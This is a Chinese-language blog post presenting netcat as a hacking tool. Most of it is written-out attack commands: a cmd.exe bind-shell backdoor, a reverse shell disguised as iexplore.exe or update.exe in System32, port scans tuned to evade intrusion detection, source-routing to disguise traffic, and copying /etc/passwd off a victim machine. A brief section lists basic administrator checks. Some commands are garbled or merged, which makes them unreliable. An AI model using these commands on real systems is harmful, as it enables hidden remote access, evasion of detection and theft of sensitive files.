網路測試的瑞士刀 Netcat 的10+種使用方法

網路測試的瑞士刀 Netcat 的10+種使用方法

這篇文章主要分享駭客或是網路測試必備的工具 NetCat。

因為 NETCat 是一個很小的執行工具,可以用在client/server的許多不同情境下的溝通,

因為也常被駭客用來做網路工具或是網路偵測的工具。

例如:開啟後門、遠端執行、掃描網路、檔案傳輸等,都可以透過 NETCat完成。

這篇文章會介紹幾種 NetCat的使用情境。

補充說明的視 NetCat多半的防毒軟體會認定為病毒或是後門程式而無法執行。

NetCAT 下載

Linux 版本可以透過下列網址安裝

Windows 版本可以透過下列方式取得

由於 NetCAT 變成 Nmap 的一部分,因此也可以透過這個安裝包,內涵 NetCAT的方式安裝在 Windows

 

 後門程式 or 遠端執行

如果我們希望  10.0.0.1這台電腦可以透過 port 4455 被遠端連線之後可以執行 Command line 指令,

那麼只要在10.0.0.1這台電腦A執行 netCat

C:\> ncat  -l    -e  cmd.exe  10.0.0.1   4455

或是

 

C:\> ncat.exe –k -l –e cmd.exe 4455

 

因此遠端電腦只要連線道該 10.0.0.1 port 4455 就可以執行 10.0.0.1的 command line

這就是俗稱的 Back Door後門程式,讓遠端電腦可以連線後執行特定指令。

遠端電腦B執行 netCat 連線

ncat.exe   10.0.0.1  4455

連線成功後就可以執行任何 Command line 下的指令

 

隱藏 NetCAT.exe

由於執行 ncat.exe 很容易在 Task Manager 被發現,因此通常駭客執行這個工具會將檔名改變。避免被系統管理者發現。

 

例如,將 NetCAT.exe 更改檔名為 update.exe 並且放到系統目錄,再執行後門程式。

C:\> move ncat.exe    c:\Windows\System32\Drivers\update.exe C:\> Windows\System32\Drivers\update.exe –k -l –e cmd.exe 4455

或是利用 比較不會被察覺的 port 80

C:\> mkdir C:\Windows\System32\Drivers\qC:\> move ncat.exe    C:\Windows\System32\Drivers\q\iexplore.exe

C:\> cd Windows\System32\Drivers\q

C:\WINDOWS\System32\DRIVERS\q\> iexplore.exe -e cmd.exe hostname 80

如此一來看起來就會像是  Internet Explorer要透過 port 80 連線 HTTP

系統管理者對於 NetCAT的基本檢查

另一方面讓我們看看系統管理者可以做哪些基本檢察,驗證是否有被執行後門程式 or NetCAT呢?

Task Manager

查看是否有 nc.exe  NetCAT.exe  ncat.exe的程序正再執行。當然如果該程序已經被更改檔名,就無法透過這個方式得知。

Netstat 查看 port 的執行狀況

查看哪些 port正在 listening

netstat  -nab

Port Scanning

儘管 NetCAT 主要的功能不是用來做 port Scanning,還是可以用 NetCAT 做基本 port的掃描。

$ nc -z 10.0.0.1  20-80

Connection to 10.0.0.1  22 port [tcp/ssh] succeeded!

Connection to 10.0.0.1 80 port [tcp/http] succeeded!

由於這樣的port scanning 網路行為很容易被 IDS 發現,因此可以加入一些其他參數減少被 IDS偵測到的機率

r:  隨機掃瞄

-i: 每隔 30秒,掃描一個 port

$ nc -v -z -r -i 30 10.0.0.1   20-80

 

Port Scanning 基本原理

port scanning 主要利用 TCP 連線時的基本原理 3-way handshake ,透過3-way handshake 的回應來判斷遠端電腦 port 是否有開啟。

簡單來說:如果 port有通的話一定會有 “SYN/ACK”的回覆。如果沒有回覆或是回覆其他的狀態 RST都表示 port 沒有通。

 

例如下圖,遠端Server電腦回覆 “RST”,表示 port 沒有通。

例如下圖,遠端Server電腦回覆 “SYN+ACK”,表示 port 有通。

 

UDP port Scanning

這是 TCP的特性,那麼UDP可以這樣做嗎?

儘管我們可以透過下列指令對於 UDP port 作掃描,但是 UDP的掃描相對會有不準確的狀況。

nc -v -z -r -u -i 30 10.1.1.1   20-80

 

對於UDP port 是否有通, NC 主要透過 Internet Control Message Protocol (ICMP) 的錯誤訊息來判斷,

但是許多的防火牆會設定不回覆 ICMP,這會造成掃描的結果誤判的機率提高。

遠端主機的服務資訊

知道哪些 port 有通沒有通之後,可以進一步獲取每個 port 的服務資訊。例如是使用哪種 Web server or FTP server

$ echo QUIT | nc -v 10.1.1.1    21 22 80

 

$nc -v 10.1.1.1   80

例如與 syslog溝通

$ echo “0I can speak syslog” | nc -u 10.1.1.1  514

 

偽造 IP

NetCAT 還可以變造過程中經過的結點 IP。

例如這個例子,最終目的地為 10.1.1.1 的 port 23。但是中間的結點變造經過了 10.10.4.5 …10.10.5.8 等

nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9     10.1.1.1   23

 

檔案的傳輸

可以透過 NetCAT 將遠端電腦的機密檔案回傳。例如系統預設的密碼檔案。

遠端電腦 (受害者電腦)

$ nc –l –u 55555 < file_we_want
$ nc –l –u 55555 < /etc/passwd

駭客電腦

nc –u –targethost 55555 < copy_of_file

 

NetCat 的用途很廣泛,也就是為什麼被視為駭客工具的瑞士小刀,

當然也被防毒軟體視為是後門程式禁止執行。

 

Leave a Reply

Your email address will not be published. Required fields are marked *